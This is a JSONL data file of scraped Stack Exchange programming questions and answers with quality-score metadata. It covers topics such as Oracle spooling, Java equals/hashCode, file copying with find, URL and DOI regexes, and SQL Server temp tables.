{"id": "hf_f70edb0dca62", "question": "<p>I am running oracle and have a query which pulls some results from the database. I would like to write the results as a text file. How would I go about doing this?</p>\n\n<p>My prefered way would be by using UTL_FILE. Would some one have an example of how to do this?</p>\n", "question_body": "", "answer": "If you're running the query from\nsqlplus\nyou can use the spool command:\n```\nspool /tmp/test.spool\n```\nAfter executing the spool command within a session, all output is sent to the sqlplus console as well as the /tmp/test.spool text file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.197014"}
{"id": "hf_0b6daa20e6aa", "question": "<p>We've been using the 32bit linux version of the <a href=\"http://wrapper.tanukisoftware.org/\" rel=\"nofollow noreferrer\">JavaServiceWrapper</a> for quite a while now and it's working perfectly. We are now considering also using it on 64bit linux systems. There are downloads for 64bit binaries on the website, but looking into Makefile for the 64bit version I found the following comment, though: \n    # This makefile is in progess. It builds, but the resulting libwrapper.so does not yet work.\n    # If you know how to fix it then please help out.</p>\n\n<p>Can anyone confirm, that this comment is just outdated and the resulting wrapper will work without flaws?</p>\n", "question_body": "", "answer": "From\nhttp://wrapper.tanukisoftware.org/doc/english/introduction.html\n:\nBinary distributions are provided for\n  the following list of platforms and\n  are available on the download page.\n  Only OS versions which are known to\n  work have been listed.\n(snip...)\nlinux - Linux kernels; 2.2.x 2.4.x, 2.6.x. Known to work with Debian and Red Hat, but should work with any\n  distribution. Currently supported on\n  both 32 and\n64-bit\nx86, and 64-bit ppc\n  systems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.255997"}
{"id": "hf_6e07dae11c69", "question": "<p>In Java (or any other language with checked exceptions), when creating your own exception class, how do you decide whether it should be checked or unchecked?</p>\n\n<p>My instinct is to say that a checked exception would be called for in cases where the caller might be able to recover in some productive way, where as an unchecked exception would be more for unrecoverable cases, but I'd be interested in other's thoughts.</p>\n", "question_body": "", "answer": "From\nA Java Learner\n:\nWhen an exception occurs, you have to\n  either catch and handle the exception,\n  or tell compiler that you can't handle\n  it by declaring that your method\n  throws that exception, then the code\n  that uses your method will have to\n  handle that exception (even it also\n  may choose to declare that it throws\n  the exception if it can't handle it).\nCompiler will check that we have done\n  one of the two things (catch, or\n  declare).  So these are called Checked\n  exceptions.   But Errors, and Runtime\n  Exceptions are not checked for by\n  compiler (even though you can choose\n  to catch, or declare, it is not\n  required).  So, these two are called\n  Unchecked exceptions.\nErrors are used to represent those\n  conditions which occur outside the\n  application, such as crash of the\n  system.  Runtime exceptions are\n  usually occur by fault in the\n  application logic.  You can't do\n  anything in these situations.  When\n  runtime exception occur, you have to\n  re-write your program code.  So, these\n  are not  checked by compiler.  These\n  runtime exceptions will uncover in\n  development, and testing period.  Then\n  we have to refactor our code to remove\n  these errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.279721"}
{"id": "hf_3cef1dcf2b4e", "question": "<p>What issues / pitfalls must be considered when overriding <code>equals</code> and <code>hashCode</code>?</p>\n", "question_body": "", "answer": "The theory (for the language lawyers and the mathematically inclined):\n```\nequals()\n```\n(\njavadoc\n) must define an equivalence relation (it must be\nreflexive\n,\nsymmetric\n, and\ntransitive\n). In addition, it must be\nconsistent\n(if the objects are not modified, then it must keep returning the same value). Furthermore,\n```\no.equals(null)\n```\nmust always return false.\n```\nhashCode()\n```\n(\njavadoc\n) must also be\nconsistent\n(if the object is not modified in terms of\n```\nequals()\n```\n, it must keep returning the same value).\nThe\nrelation\nbetween the two methods is:\nWhenever\n```\na.equals(b)\n```\n, then\n```\na.hashCode()\n```\nmust be same as\n```\nb.hashCode()\n```\n.\nIn practice:\nIf you override one, then you should override the other.\nUse the same set of fields that you use to compute\n```\nequals()\n```\nto compute\n```\nhashCode()\n```\n.\nUse the excellent helper classes\nEqualsBuilder\nand\nHashCodeBuilder\nfrom the\nApache Commons Lang\nlibrary. An example:\n```\n```\npublic class Person {\n    private String name;\n    private int age;\n    // ...\n\n    @Override\n    public int hashCode() {\n        return new HashCodeBuilder(17, 31). // two randomly chosen prime numbers\n            // if deriving: appendSuper(super.hashCode()).\n            append(name).\n            append(age).\n            toHashCode();\n    }\n\n    @Override\n    public boolean equals(Object obj) {\n       if (!(obj instanceof Person))\n            return false;\n        if (obj == this)\n            return true;\n\n        Person rhs = (Person) obj;\n        return new EqualsBuilder().\n            // if deriving: appendSuper(super.equals(obj)).\n            append(name, rhs.name).\n            append(age, rhs.age).\n            isEquals();\n    }\n}\n```\n```\nAlso remember:\nWhen using a hash-based\nCollection\nor\nMap\nsuch as\nHashSet\n,\nLinkedHashSet\n,\nHashMap\n,\nHashtable\n, or\nWeakHashMap\n, make sure that the hashCode() of the key objects that you put into the collection never changes while the object is in the collection. The bulletproof way to ensure this is to make your keys immutable,\nwhich has also other benefits\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.304053"}
{"id": "hf_f0607f7946b5", "question": "<p>I've deployed some Managed Beans on WebSphere 6.1 and I've managed to invoke them through a standalone client, but when I try to use the application \"jconsole\" distributed with the standard JDK can can't make it works.</p>\n\n<p>Has anyone achieved to connect the jconsole with WAS 6.1?</p>\n\n<p>IBM WebSphere 6.1 it's supossed to support JSR 160 JavaTM Management Extensions (JMX) Remote API. Furthermore, it uses the MX4J implementation (<a href=\"http://mx4j.sourceforge.net\" rel=\"nofollow noreferrer\">http://mx4j.sourceforge.net</a>). But I can't make it works with neither \"jconsole\" nor \"MC4J\".</p>\n\n<p>I have the Classpath and the JAVA_HOME correctly setted, so the issue it's not there.</p>\n", "question_body": "", "answer": "I have successfully connected to ActiveMQ and ServiceMix using the JConsole. Does WAS 6.1 use Java Management Extension (JMX) technology? JMX is required for JConsole.\nIf your path is set correctly it should work fine. On windows you go to System Properties -> Advanced Tab -> Environment Variables. Have your JAVA_HOME System variable set to the path of your JDK or JRE and your Path variable with %JAVA_HOME%/bin added somewhere in there. Then all you need to do is go to Start->Run->JConsole. Select the correct Process Name and your done.\nWhere are you having problems at? I hope this helps.\nEdit:\nHere is the Java Doc's on\nJConsole\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.328772"}
{"id": "hf_6a1f821b7a9f", "question": "<p>Let's say I have a list of server names stored in a vector, and I would like to contact them one at a time until one has successfully responded. I was thinking about using STL's find_if algorithm in the following way:</p>\n\n<pre><code>find_if(serverNames.begin(), serverNames.end(), ContactServer());\n</code></pre>\n\n<p>Where ContactServer is a predicate function object.<br>\nOn one hand, there's a problem since the predicate will not always return the same result for the same server name (because of server downtime, network problems, etc...). However, the same result will be returned regardless of which copy of the predicate is used (<em>i.e.</em> the predicate has no real state), so the original problem with state-keeping predicates is not relevant in this case.</p>\n\n<p>What do you say?</p>\n", "question_body": "", "answer": "I think I would go for it.\nThe only thing I would worry about is the readability (and therefore maintainability) of it. To me, it reads something like \"Find the first server I can contact\", which makes perfect sense.\nYou might want to rename\n```\nContactServer\n```\nto indicate that it is a predicate;\n```\nCanContactServer\n```\n? (But then people would complain about hidden side effects. Hmm...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.364751"}
{"id": "hf_be4f424bf35a", "question": "<p>On the UNIX bash shell (specifically Mac OS X Leopard) what would be the simplest way to copy every file having a specific extension from a folder hierarchy (including subdirectories) to the same destination folder (without subfolders)?</p>\n\n<p>Obviously there is the problem of having duplicates in the source hierarchy. I wouldn't mind if they are overwritten.</p>\n\n<p>Example: I need to copy every .txt file in the following hierarchy</p>\n\n<pre><code>/foo/a.txt\n/foo/x.jpg\n/foo/bar/a.txt\n/foo/bar/c.jpg\n/foo/bar/b.txt\n</code></pre>\n\n<p>To a folder named 'dest' and get:</p>\n\n<pre><code>/dest/a.txt\n/dest/b.txt\n</code></pre>\n", "question_body": "", "answer": "In bash:\n```\n```\nfind /foo -iname '*.txt' -exec cp \\{\\} /dest/ \\;\n```\n```\n```\nfind\n```\nwill find all the files under the path\n```\n/foo\n```\nmatching the wildcard\n```\n*.txt\n```\n, case insensitively (That's what\n```\n-iname\n```\nmeans). For each file,\n```\nfind\n```\nwill execute\n```\ncp {} /dest/\n```\n, with the found file in place of\n```\n{}\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.400564"}
{"id": "hf_7016c7cd87f8", "question": "<p>The <strong><a href=\"http://msdn.microsoft.com/en-us/library/4wyz8787(VS.80).aspx\" rel=\"noreferrer\">TRACE macro</a></strong> can be used to output diagnostic messages to the debugger when the code is compiled in <strong>Debug</strong> mode. I need the same messages while in <strong>Release</strong> mode. Is there a way to achieve this?</p>\n\n<p>(Please do <strong>not</strong> waste your time discussing why I should not be using TRACE in Release mode :-)</p>\n", "question_body": "", "answer": "In MFC, TRACE is defined as ATLTRACE. And in release mode that is defined as:\n```\n```\n#define ATLTRACE            __noop\n```\n```\nSo, using the out-the-box TRACE from MFC, you won't actually be able to read any TRACE text, because it won't even be written out. You could write your own TRACE function instead, then re-define the TRACE macro. You could do something like this:\n```\n```\nvoid MyTrace(const CString& text)\n{\n  ::OutputDebugString(text); // Outputs to console, same as regular TRACE\n  // TODO: Do whatever output you need here. Write to event log / write to text file / write to pipe etc.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.424541"}
{"id": "hf_d8774b9726d8", "question": "<p>We currently maintain a suit of MFC applications that are fairly well designed, however the user interface is beginning to look tired and a lot of the code is in need quite a bit of refactoring to tidy up some duplication and/or performance problems.  We make use of quite a few custom controls that handle all their own drawing (all written using MFC).</p>\n\n<p>Recently I've been doing more research into Qt and the benefits it provides (cross-platform and supports what you might call a more \"professional\" looking framework for UI development).</p>\n\n<p>My question is - <strong>what would be the best approach to perhaps moving to the Qt framework</strong>?  Does Qt play nice with MFC?  Would it be better to start porting some of our custom controls to Qt and gradually integrate more and more into our existing MFC apps? (is this possible?).</p>\n\n<p>Any advice or previous experience is appreciated.</p>\n", "question_body": "", "answer": "(This doesn't really answer your specific questions but...)\nI haven't personally used Qt, but it's not free for commercial Windows development.\nHave you looked at\nwxWindows\nwhich is free? Nice article\nhere\n. Just as an aside, if you wanted a single code base for all platforms, then you may have to migrate away from MFC - I am pretty sure (someone will correct if wrong) that MFC only targets Windows.\nOne other option would be to look at the\nFeature Pack update\nto MFC in SP1 of VS2008 - it includes access to new controls, including the Office style ribbon controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.448052"}
{"id": "hf_cf2e9e7c738a", "question": "<p>I'm having a problem obtaining the total row count for items displayed in a Gridview using Paging and with a LinqDataSource as the source of data.</p>\n\n<p>I've tried several approaches:</p>\n\n<pre><code>protected void GridDataSource_Selected(object sender, LinqDataSourceStatusEventArgs e)  \n{  \n    totalLabel.Text = e.TotalRowCount.ToString();  \n}\n</code></pre>\n\n<p>returns -1 every time.</p>\n\n<pre><code>protected void LinqDataSource1_Selected(object sender, LinqDataSourceStatusEventArgs e)  \n{  \n    System.Collections.Generic.List&lt;country&gt; lst  = e.Result as System.Collections.Generic.List&lt;country&gt;;  \n    int count = lst.Count;  \n}\n</code></pre>\n\n<p>only gives me the count for the current page, and not the total.</p>\n\n<p>Any other suggestions?</p>\n", "question_body": "", "answer": "The LinqDataSourceEventArgs returned in those events return -1 on these occasions:\n-1 if the LinqDataSourceStatusEventArgs object was created during a data modification operation; -1 if you enabled customized paging by setting AutoPage to true and by setting RetrieveTotalRowCount to false.\nCheck here for more information\n- the table towards the bottom, shows different properties to set to get the rowcount back, but it looks like you either have to set AutoPage and AllowPage properties to either both true or both false.\nJudging by the table in the link above and the example you provide you have Autopage set to false, but AllowPaging set to true, therefore it is returning the amount of rows in the page.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.542843"}
{"id": "hf_4002fe7e5479", "question": "<p>I completely understand the concept of expression trees, but I am having a hard time trying to find situations in which they are useful. Is there a specific instance in which expression trees can be applied? Or is it only useful as a transport mechanism for code? I feel like I am missing something here. Thanks!</p>\n", "question_body": "", "answer": "Some unit test mocking frameworks make use of expression trees in order to set up strongly typed expectations/verifications. Ie:\n```\n```\nmyMock.Verify(m => m.SomeMethod(someObject)); // tells moq to verify that the method\n                                              // SomeMethod was called with \n                                              // someObject as the argument\n```\n```\nHere, the expression is never actually executed, but the expression itself holds the interesting information. The alternative without expression trees would be\n```\n```\nmyMock.Verify(\"SomeMethod\", someObject) // we've lost the strong typing\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.566218"}
{"id": "hf_4705e8b7423a", "question": "<p>An app I'm writing always crashes on a clients computer, but I don't get an exception description, or a stack trace.<br>\nThe only thing I get is a crash report that windows wants to send to Microsoft.<br>\nI would like to get that dump file and investigate it myself, but I cannot find it.</p>\n\n<p>When I \"View the contents of the error report\" I can see the different memory dumps, but I cannot copy it or save it.</p>\n", "question_body": "", "answer": "You can use the\nWindows debugging tools\nto view the crash dump. To get the most use out of it, you'll need an exact copy of the symbols for that application (i.e. same version).\nHave a look at\nTess's blog\nfor tutorials on how to use the Windows debugging tools. I refer to her blog constantly whenever I'm in need of analysing crash dumps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.613459"}
{"id": "hf_4d0084f44cdb", "question": "<p>Given the URL (single line):<br>\n<a href=\"http://test.example.com/dir/subdir/file.html\" rel=\"noreferrer\">http://test.example.com/dir/subdir/file.html</a></p>\n\n<p>How can I extract the following parts using regular expressions:</p>\n\n<ol>\n<li>The Subdomain (test)</li>\n<li>The Domain (example.com)</li>\n<li>The path without the file (/dir/subdir/)</li>\n<li>The file (file.html)</li>\n<li>The path with the file (/dir/subdir/file.html)</li>\n<li>The URL without the path (<a href=\"http://test.example.com\" rel=\"noreferrer\">http://test.example.com</a>)</li>\n<li>(add any other that you think would be useful)</li>\n</ol>\n\n<p>The regex should work correctly even if I enter the following URL:  </p>\n\n<pre><code>http://example.example.com/example/example/example.html\n</code></pre>\n", "question_body": "", "answer": "A single regex to parse and breakup a\n  full URL including query parameters\n  and anchors e.g.\nhttps://www.google.com/dir/1/2/search.html?arg=0-a&arg1=1-b&arg3-c#hash\n```\n^((http[s]?|ftp):\\/)?\\/?([^:\\/\\s]+)((\\/\\w+)*\\/)([\\w\\-\\.]+[^#?\\s]+)(.*)?(#[\\w\\-]+)?$\n```\nRexEx positions:\nurl: RegExp['$&'],\nprotocol:RegExp.$2,\nhost:RegExp.$3,\npath:RegExp.$4,\nfile:RegExp.$6,\nquery:RegExp.$7,\nhash:RegExp.$8\nyou could then further parse the host ('.' delimited) quite easily.\nWhat\nI\nwould do is use something like this:\n```\n```\n/*\n    ^(.*:)//([A-Za-z0-9\\-\\.]+)(:[0-9]+)?(.*)$\n*/\nproto $1\nhost $2\nport $3\nthe-rest $4\n```\n```\nthe further parse 'the rest' to be as specific as possible. Doing it in one regex is, well, a bit crazy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.649667"}
{"id": "hf_75017ab644be", "question": "<p>I am storing a PNG as an embedded resource in an assembly.  From within the same assembly I have some code like this:</p>\n\n<pre><code>Bitmap image = new Bitmap(typeof(MyClass), \"Resources.file.png\");\n</code></pre>\n\n<p>The file, named \"file.png\" is stored in the \"Resources\" folder (within Visual Studio), and is marked as an embedded resource.</p>\n\n<p>The code fails with an exception saying:  </p>\n\n<blockquote>\n  <p>Resource MyNamespace.Resources.file.png cannot be found in class MyNamespace.MyClass</p>\n</blockquote>\n\n<p>I have identical code (in a different assembly, loading a different resource) which works. So I know the technique is sound. My problem is I end up spending a lot of time trying to figure out what the correct path is. If I could simply query (eg. in the debugger) the assembly to find the correct path, that would save me a load of headaches.</p>\n", "question_body": "", "answer": "I'm guessing that your class is in a different namespace. The canonical way to solve this would be to use the resources class and a strongly typed resource:\n```\n```\nProjectNamespace.Properties.Resources.file\n```\n```\nUse the IDE's resource manager to add resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.673557"}
{"id": "hf_2e9d5254b803", "question": "<p>Effectively I want to give numeric scores to alphabetic grades and sum them. In Excel, putting the <code>LOOKUP</code> function into an array formula works:</p>\n\n<pre><code>{=SUM(LOOKUP(grades, scoringarray))}\n</code></pre>\n\n<p>With the <code>VLOOKUP</code> function this does not work (only gets the score for the first grade). Google Spreadsheets does not appear to have the <code>LOOKUP</code> function and <code>VLOOKUP</code> fails in the same way using:</p>\n\n<pre><code>=SUM(ARRAYFORMULA(VLOOKUP(grades, scoresarray, 2, 0)))\n</code></pre>\n\n<p>or</p>\n\n<pre><code>=ARRAYFORMULA(SUM(VLOOKUP(grades, scoresarray, 2, 0)))\n</code></pre>\n\n<p>Is it possible to do this (but I have the syntax wrong)? Can you suggest a method that allows having the calculation in one simple cell like this rather than hiding the lookups somewhere else and summing them afterwards?</p>\n", "question_body": "", "answer": "I'm afraid I think the answer is no. From the help text on\nhttp://docs.google.com/support/spreadsheets/bin/answer.py?answer=71291&query=arrayformula&topic=&type=\nThe real power of ARRAYFORMULA comes when you take the result from one of those computations and wrap it inside a formula that does take array or range arguments: SUM, MAX, MIN, CONCATENATE,\nAs vlookup takes a single cell to lookup (in the first argument) I don't think you can get it to work, without using a separate range of lookups.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.710046"}
{"id": "hf_33cafc2ace79", "question": "<p>I have a DirectShow graph to render MPEG2/4 movies from a network stream. When I assemble the graph by connecting the pins manually it doesn't render. But when I call Render on the GraphBuilder it renders fine. </p>\n\n<p>Obviously there is some setup step that I'm not performing on some filter in the graph that GraphBuilder is performing. </p>\n\n<p>Is there any way to see debug output from GraphBuilder when it assembles a graph?</p>\n\n<p>Is there a way to dump a working graph to see how it was put together?</p>\n\n<p>Any other ideas for unraveling the mystery that lives in the DirectShow box?</p>\n\n<p>Thanks!\n-Z</p>\n", "question_body": "", "answer": "You can watch the graph you created using GraphEdit, a tool from the DirectShow SDK. In GraphEdit, select File->Connect to remote Graph...\nIn order to find your graph in the list, you have to register it in the running object table:\n```\n```\nvoid AddToRot( IUnknown *pUnkGraph, DWORD *pdwRegister ) \n{\n    IMoniker* pMoniker;\n    IRunningObjectTable* pROT;\n    GetRunningObjectTable( 0, &pROT );\n\n    WCHAR wsz[256];     \n    swprintf_s( wsz, L\"FilterGraph %08p pid %08x\", (DWORD_PTR)pUnkGraph, GetCurrentProcessId() );\n    CreateItemMoniker( L\"!\", wsz, &pMoniker );\n\n    pROT->Register( 0, pUnkGraph, pMoniker, pdwRegister );\n\n    // Clean up any COM stuff here ...\n}\n```\n```\nAfter destroying your graph, you should remove it from the ROT by calling IRunningObjectTable::Revoke", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.770661"}
{"id": "hf_07bce1627bb5", "question": "<p>Is there a <a href=\"http://en.wikipedia.org/wiki/Box_plot\" rel=\"nofollow noreferrer\">Box Plot</a> graph, or box and whisker graph available for Reporting Services 2005? From the looks of the documentation there doesn't seem to be one out of the box; so I am wondering if there is a third party that has the graph, or a way to build my own?</p>\n", "question_body": "", "answer": "There definitely isn't a Box Plot built into SSRS 2005, though it's possible that 2008 has one.  SSRS 2005 does have a robust extension model.  If you can implement a chart in System.Drawing/GDI+, you can make it into a\ncustom report item\nfor SSRS.\nThere are a few third-party vendors with fairly feature-rich products, but the only one I've ever evaluated was\nDundas Chart\n, which isn't cheap, but gives you about 100x more charting capability than SSRS 2005 built in (for SSRS 2008, Microsoft incorporated a great deal of Dundas's charting technology).  I can't say from experience that I know Dundas Chart supports the Box Plot, but this\nsupport forum post\nsays so.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.807693"}
{"id": "hf_2759dc7e5389", "question": "<p>So far I have encountered adjacency list, nested sets and nested intervals as models for storing tree structures in a database. I know these well enough and have migrated trees from one to another.</p>\n\n<p>What are other popular models? What are their characteristics? What are good resources (books, web, etc) on this topic?</p>\n\n<p>I'm not only looking for db storage but would like to expand my knowledge on trees in general. For example, I understand that nested sets/intervals are especially favorable for relational database storage and have asked myself, are they actually a <i>bad</i> choice in other contexts?</p>\n", "question_body": "", "answer": "A variation is where you use a direct hierarchical representation (ie. parent link in node), but also store a path value.\nie. for a directory tree consisting of the following:\n```\n```\nC:\\\n   Temp\n   Windows\n       System32\n```\n```\nYou would have the following nodes\n```\n```\nKey     Name     Parent     Path\n1       C:                  *1*\n2       Temp       1        *1*2*\n3       Windows    1        *1*3*\n4       System32   3        *1*3*4*\n```\n```\nPath is indexed, and will allow you to quickly do a query that picks up a node and all its children, without having to manipulate ranges.\nie. to find C:\\Temp and all its children:\n```\n```\nWHERE Path LIKE '*1*2*%'\n```\n```\nThis representation is the only place I can think of where storing\nid's\nin a string like this is ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.844069"}
{"id": "hf_fc31ac7ac54a", "question": "<p>In SQL Server 2005, we can create temp tables one of two ways:</p>\n\n<pre><code>declare @tmp table (Col1 int, Col2 int);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>create table #tmp (Col1 int, Col2 int);\n</code></pre>\n\n<p>What are the differences between these two?  I have read conflicting opinions on whether @tmp still uses tempdb, or if everything happens in memory.  </p>\n\n<p>In which scenarios does one out-perform the other? </p>\n", "question_body": "", "answer": "@wcm - actually to nit pick the Table Variable isn't Ram only - it can be partially stored on disk.\nA temp table can have indexes, whereas a table variable can only have a primary index. If speed is an issue Table variables can be faster, but obviously if there are a lot of records, or the need to search the temp table of a clustered index, then a Temp Table would be better.\nGood background article", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.900839"}
{"id": "hf_e299bc9908b7", "question": "<p>The <a href=\"http://doi.org/\" rel=\"noreferrer\">DOI</a> system places basically no useful limitations on what constitutes <a href=\"http://doi.org/handbook_2000/enumeration.html#2.2\" rel=\"noreferrer\">a reasonable identifier</a>. However, being able to pull DOIs out of PDFs, web pages, etc. is quite useful for citation information, etc.</p>\n\n<p>Is there a reliable way to identify a DOI in a block of text without assuming the 'doi:' prefix? (any language acceptable, regexes preferred, and avoiding false positives a must)</p>\n", "question_body": "", "answer": "The following regex should do the job (Perl regex syntax):\n```\n```\n/(10\\.\\d+\\/\\d+)/\n```\n```\nYou could do some additional sanity checking by opening the urls\n```\n```\nhttp://hdl.handle.net/<doi>\n```\n```\nand\n```\n```\nhttp://dx.doi.org/<doi>\n```\n```\nwhere  is the candidate doi,\nand testing that you a) get a 200 OK http status, and b) the returned page is not the \"DOI not found\" page for the service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.936734"}
{"id": "hf_e6eca0bb5106", "question": "<p>What tools are people using for testing SQL Server databases?</p>\n\n<p>By this I mean all parts of the database:</p>\n\n<ul>\n<li>configuration</li>\n<li>tables</li>\n<li>column type</li>\n<li>stored procedures</li>\n<li>constraints</li>\n</ul>\n\n<p>Most likely, there is not one tool to do it all.</p>\n", "question_body": "", "answer": "I personally use NHibernate with SqlCe, this provides a \"throw-away\" database that doesn't need any specialized tear down after the tests are run.\nIt also provides a good way to test your nhibernate mappings if applicable.\nHere is a link to an article I wrote awhile ago on how to accomplish this:\nhttp://www.codeproject.com/KB/database/TDD_and_SqlCE.aspx?display=Print", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.960960"}
{"id": "hf_b3512782234e", "question": "<p>Story:  The user uploads an image that will be added to a photo gallery.  As part of the upload process, we need to A) store the image on the web server's hard drive and B) store a thumbnail of the image on the web server's hard drive.</p>\n\n<p>\"Best\" here is defined as </p>\n\n<ul>\n<li>Relatively easy to implement, understand, and maintain</li>\n<li>Results in a thumbnail of reasonable quality</li>\n</ul>\n\n<p>Performance and high-quality thumbnails are secondary.</p>\n", "question_body": "", "answer": "I suppose your best solution would be using the\nGetThumbnailImage\nfrom the .NET\nImage\nclass.\n```\n```\n// Example in C#, should be quite alike in ASP.NET\n// Assuming filename as the uploaded file\nusing ( Image bigImage = new Bitmap( filename ) )\n{\n   // Algorithm simplified for purpose of example.\n   int height = bigImage.Height / 10;\n   int width = bigImage.Width / 10;\n\n   // Now create a thumbnail\n   using ( Image smallImage = image.GetThumbnailImage( width, \n                                                       height,\n                                                       new Image.GetThumbnailImageAbort(Abort), IntPtr.Zero) )\n   {\n      smallImage.Save(\"thumbnail.jpg\", ImageFormat.Jpeg);\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:05.985016"}
{"id": "hf_b5563a51836d", "question": "<p>My goals are focused on software application development, and maybe web application development, but most likely desktop applications. I'm embarking on a path to becoming more familiar with C/C++, but should I go much lower than that, into assembly? Or would I not have a benefit for my long-term goals?</p>\n", "question_body": "", "answer": "I wouldn't start learning ASM. If you want to learn C/C++ then start with that. As the quality of your code matures, you may find you have a need for ASM. 99% of the time you won't, but every now and then you might need it.\nAlso, it does help to know ASM in terms of understanding what C/C++ is doing behind the scenes. But again, until you get more advanced, you probably won't have a need for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.021160"}
